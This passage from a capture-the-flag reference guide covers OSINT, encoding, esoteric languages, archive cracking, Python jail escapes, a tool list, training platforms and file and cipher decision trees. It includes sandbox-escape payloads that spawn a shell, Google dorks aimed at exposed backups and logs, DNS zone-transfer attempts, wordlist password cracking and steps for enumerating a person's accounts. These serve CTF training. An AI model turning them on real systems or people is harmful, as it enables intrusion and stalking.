| steghide | Embed/extract data | JPEG, BMP, WAV, AU |
| stegseek | Fast steghide cracker | JPEG, BMP, WAV, AU |
| zsteg | LSB analysis | PNG, BMP |
| jsteg | JPEG LSB | JPEG |
| Stegsolve | Visual analysis | Any image |
| outguess | Steganographic extraction | JPEG |
| Sonic Visualizer | Audio spectrogram | WAV, MP3, FLAC |
| stegsnow | Whitespace stego | Text files |
| Aperisolve | Automated analysis | Images (web tool) |
| OpenStego | Extract hidden data | PNG |

---

## 7. OSINT

### Methodology

```
1. Define      — What specific information are you trying to find?
2. Passive     — Collect without direct interaction with target
3. Active      — Direct interaction (DNS lookups, port scans) — scope-dependent
4. Correlate   — Cross-reference findings across sources
5. Verify      — Confirm findings through independent sources
6. Document    — Source, timestamp, confidence level for every finding
```

### Username / Person OSINT

```bash
# Username enumeration across platforms
sherlock username                            # Check 300+ sites
maigret username                            # Extended username search
whatsmyname username                        # Cross-platform lookup

# Email OSINT
holehe email@target.com                     # Check account existence by email
theHarvester -d target.com -b all           # Email/subdomain harvesting

# Social media
# Instagram: check followers, following, tagged locations, EXIF in photos
# Twitter/X: advanced search operators, deleted tweets via Wayback Machine
# LinkedIn: employee enumeration, technology stack inference
# Facebook: check-ins, friends lists, group memberships
```

### Domain / Infrastructure OSINT

```bash
# DNS enumeration
dig target.com ANY                          # All DNS records
dig target.com MX                           # Mail servers
dig target.com TXT                          # SPF, DKIM, verification records
host -t axfr target.com ns1.target.com      # Zone transfer attempt
dnsrecon -d target.com                      # Automated DNS recon
subfinder -d target.com                     # Subdomain discovery
amass enum -d target.com                    # Comprehensive subdomain enum

# WHOIS
whois target.com                            # Registration details
# Historical: whoishistory.com, domaintools.com

# Web archive
# https://web.archive.org/web/*/target.com — historical snapshots
# https://archive.org/wayback/available?url=target.com — API

# Certificate transparency
# https://crt.sh/?q=%.target.com — subdomains via CT logs

# Technology detection
whatweb target.com
wappalyzer (browser extension)
builtwith.com/target.com

# Google dorking
site:target.com filetype:pdf
site:target.com inurl:admin
site:target.com ext:sql | ext:bak | ext:log
intitle:"index of" site:target.com
```

### Image / File OSINT

```bash
exiftool image.jpg                          # GPS coords, camera model, timestamps
# Reverse image search: Google Images, TinEye, Yandex Images
# Geolocation: Google Maps, Google Street View, SunCalc (shadow analysis)
# Metadata in documents: author, creation software, revision history
```

### CTF-Specific OSINT Patterns

```
Common challenge types:
- Find a person/account from limited clues (photo, username fragment)
- Geolocate an image (landmarks, signs, vegetation, architecture)
- Track down a hidden webpage or social media post
- Decode breadcrumb trails across multiple platforms
- Identify a location from a photo (Google Lens, street signs, language clues)
- Find deleted/cached content (Wayback Machine, Google Cache)
```

### OSINT Tools Quick Reference

| Tool | Purpose |
|------|---------|
| sherlock | Username search across 300+ sites |
| maigret | Extended username enumeration |
| theHarvester | Email/subdomain gathering |
| subfinder | Subdomain discovery |
| amass | Attack surface mapping |
| holehe | Email account checking |
| Google Dorking | Targeted search queries |
| Wayback Machine | Historical web content |
| crt.sh | Certificate transparency logs |
| exiftool | Image/file metadata |
| TinEye/Yandex | Reverse image search |
| Maltego | Link analysis and visualization |

---

## 8. Miscellaneous

### Encoding / Decoding

```bash
# Base64
echo "encoded" | base64 -d
echo -n "plaintext" | base64

# Base32, Base58, Base85
# Use CyberChef or Python:
python3 -c "import base64; print(base64.b32decode('JBSWY3DP'))"
python3 -c "import base58; print(base58.b58decode('encoded'))"

# Hex
echo "48656c6c6f" | xxd -r -p
echo -n "Hello" | xxd -p

# URL encoding
python3 -c "import urllib.parse; print(urllib.parse.unquote('%48%65%6c%6c%6f'))"

# Binary
python3 -c "print(''.join(chr(int(b,2)) for b in '01001000 01101001'.split()))"

# Braille, Morse, Semaphore, NATO phonetic — use dcode.fr
```

### Esoteric Programming Languages

| Language | Identifier | Interpreter |
|----------|-----------|-------------|
| Brainfuck | `+-><[].,` characters | copy.sh/brainfuck, tio.run |
| Malbolge | Appears random/base85 | malbolge.doleczek.pl |
| Piet | Colored pixel art | npiet, bertnase.de/npiet |
| Ook! | `Ook. Ook! Ook?` | dcode.fr/ook-language |
| Whitespace | Only spaces/tabs/newlines | tio.run |
| COW | `MOO`, `moo`, `MoO` | tio.run |
| JSFuck | Only `[]()!+` | jsfuck.com |
| Rockstar | Reads like song lyrics | codewithrockstar.com |

### ZIP / Archive Challenges

```bash
# Password-protected ZIP
fcrackzip -u -D -p rockyou.txt encrypted.zip
john --wordlist=rockyou.txt zip_hash           # After: zip2john encrypted.zip > zip_hash
hashcat -m 13600 zip_hash rockyou.txt

# Known-plaintext attack on legacy ZIP encryption
pkcrack -C encrypted.zip -c known_file -P plain.zip -p known_file

# Nested archives
binwalk -e file.zip                             # Often recursively embedded

# Corrupted ZIP
zip -FF broken.zip --out fixed.zip
```

### Common Misc Patterns

```
- QR code challenges: distorted, partial, or multi-layered QR codes
- Encoding chains: Base64 → Hex → ROT13 → reversed (peel layers)
- Data in unusual places: HTTP headers, DNS TXT records, EXIF comments
- Jail escapes: restricted shells, Python sandboxes, regex bypasses
- Math/programming puzzles: implement algorithm under time pressure
- Blockchain: analyze transactions, smart contract vulnerabilities
- Signal processing: WAV files with hidden data, radio frequencies
```

### Python Jail Escape

```python
# Common restricted environment bypasses
__import__('os').system('cat flag.txt')
eval('__imp'+'ort__("os").system("cat flag.txt")')
exec("import os; os.system('sh')")

# Builtins blocked
().__class__.__bases__[0].__subclasses__()   # Access subclasses
# Find os._wrap_close or subprocess.Popen in subclass list

# No quotes
chr(99)+chr(97)+chr(116)                     # "cat"

# No periods
getattr(getattr(__builtins__, '__import__')('os'), 'system')('sh')
```

---

## Tool Arsenal

### Tier 1 — Must-Have (Install First)

| Tool | Category | Install |
|------|----------|---------|
| pwntools | Pwn/RE | `pip install pwntools` |
| GDB + pwndbg | Pwn/RE | `git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh` |
| Ghidra | RE | Download from ghidra-sre.org |
| Burp Suite | Web | Download from portswigger.net |
| CyberChef | Crypto/Encoding | https://gchq.github.io/CyberChef/ |
| Wireshark | Forensics/Network | `apt install wireshark` |
| binwalk | Forensics | `pip install binwalk` |
| sqlmap | Web | `pip install sqlmap` |
| exiftool | Forensics/Stego | `apt install libimage-exiftool-perl` |
| John the Ripper | Crypto | `apt install john` |
| hashcat | Crypto | `apt install hashcat` |

### Tier 2 — Category-Specific

| Tool | Category | Install |
|------|----------|---------|
| RsaCtfTool | Crypto | `pip install git+https://github.com/RsaCtfTool/RsaCtfTool` |
| zsteg | Stego | `gem install zsteg` |
| steghide | Stego | `apt install steghide` |
| stegseek | Stego | GitHub releases |
| Stegsolve | Stego | Download JAR |
| Volatility 3 | Forensics | `pip install volatility3` |
| angr | RE | `pip install angr` |
| z3-solver | RE | `pip install z3-solver` |
| ROPgadget | Pwn | `pip install ROPgadget` |
| one_gadget | Pwn | `gem install one_gadget` |
| ffuf | Web | `go install github.com/ffuf/ffuf/v2@latest` |
| sherlock | OSINT | `pip install sherlock-project` |

### Tier 3 — Specialized

| Tool | Category | Purpose |
|------|----------|---------|
| Frida | RE | Dynamic instrumentation |
| qiling | RE | Binary emulation |
| seccomp-tools | Pwn | Seccomp filter analysis |
| SageMath | Crypto | Advanced math (lattice reduction, etc.) |
| Sonic Visualizer | Stego | Audio spectrogram |
| Autopsy | Forensics | Disk forensics GUI |
| Maltego | OSINT | Link analysis |
| xortool | Crypto | XOR key recovery |
| pkcrack | Crypto | ZIP known-plaintext attack |
| multimon-ng | Stego | DTMF/digital mode decoding |

---

## Training Platforms & Progression

### Recommended Progression Path

```
Beginner
├── picoCTF (picocTF.org) — Guided, year-round, all categories
├── OverTheWire Bandit — Linux fundamentals (SSH wargame)
├── TryHackMe — Guided rooms with walkthroughs
└── CryptoHack (cryptohack.org) — Interactive crypto challenges

Intermediate
├── OverTheWire Natas — Web security (15+ levels)
├── OverTheWire Narnia — Binary exploitation intro
├── pwnable.kr Toddler's Bottle — Easy pwn challenges
├── Hack The Box — Weekly machines + challenges
├── root-me.org — Wide category coverage
└── CTFtime.org — Compete in live events

Advanced
├── pwnable.kr Rookiss/Grotesque — Hard binary exploitation
├── OverTheWire Behemoth → Utumno → Maze — Progressive difficulty pwn
├── HackTheBox Pro Labs — Multi-machine networks
├── GoogleCTF / PlaidCTF / HITCON — Top-tier competitions
└── RealWorldCTF — Production-grade challenges
```

### Live Competition Strategy

```
1. Team composition: web + crypto + pwn + RE specialists minimum
2. First 30 minutes: read ALL challenges, sort by expected difficulty
3. Pick low-hanging fruit first — easy challenges have same point value early on
4. Timebox hard challenges — 90 min max before rotating
5. Document EVERYTHING — you will forget which approach you tried
6. Share findings — a web clue might unlock a misc challenge
7. Check scoreboard — if few teams solved it, expect a novel technique
8. Read hints/updates — organizers often clarify or fix broken challenges
```

### Key Writeup Collections

| Source | URL | Strength |
|--------|-----|----------|
| CTFtime Writeups | ctftime.org/writeups | Aggregated from all teams |
| TFNS Writeups | github.com/TFNS/writeups | Crypto, RE, pwn depth |
| LiveOverflow | youtube.com/LiveOverflow | Video explanations |
| John Hammond | youtube.com/JohnHammond | Beginner-friendly walkthroughs |
| IppSec | youtube.com/IppSec | HTB machine walkthroughs |
| Trail of Bits CTF Guide | trailofbits.github.io/ctf/ | Structured methodology |

---

## Quick-Reference Decision Trees

### "I Have a File — Now What?"

```
Unknown file
├── file says "data" → xxd | head (check magic bytes), binwalk
├── file says "image" → exiftool, binwalk, strings, steghide/zsteg
├── file says "audio" → Sonic Visualizer (spectrogram), strings, LSB
├── file says "PDF" → pdftotext, pdf-parser, binwalk
├── file says "ELF" → checksec, strings, Ghidra/IDA, gdb
├── file says "PE" → strings, Ghidra/IDA, PEstudio
├── file says "ZIP/archive" → unzip -l, binwalk, try password cracking
├── file says "pcap" → Wireshark, tshark, tcpflow
├── file says "memory dump" → Volatility (imageinfo first)
├── file says "filesystem" → mount, fls, photorec
└── Nothing works → rename to .xxx, try more magic byte databases
```

### "I Have Ciphertext — Now What?"

```
Ciphertext
├── Looks like Base64 → decode, check if result is another encoding (layers)
├── All hex → unhex, check result
├── Only letters → frequency analysis → substitution or Caesar
├── Has {key, n, e, c} → RSA → factor n or apply known attack
├── Has {IV, ciphertext} → AES → check for padding oracle, ECB, bit flip
├── Repeating patterns → ECB mode or classical cipher
├── Random-looking binary → XOR (try xortool with common key assumptions)
├── Hash-length output → identify hash type → crack or length extension
└── Nothing recognizable → CyberChef magic recipe, try multiple decodings
```

---

*Training builds intuition. The more challenges you solve, the faster you recognize patterns.*
*Every CTF category exercises a different security muscle — train them all.*
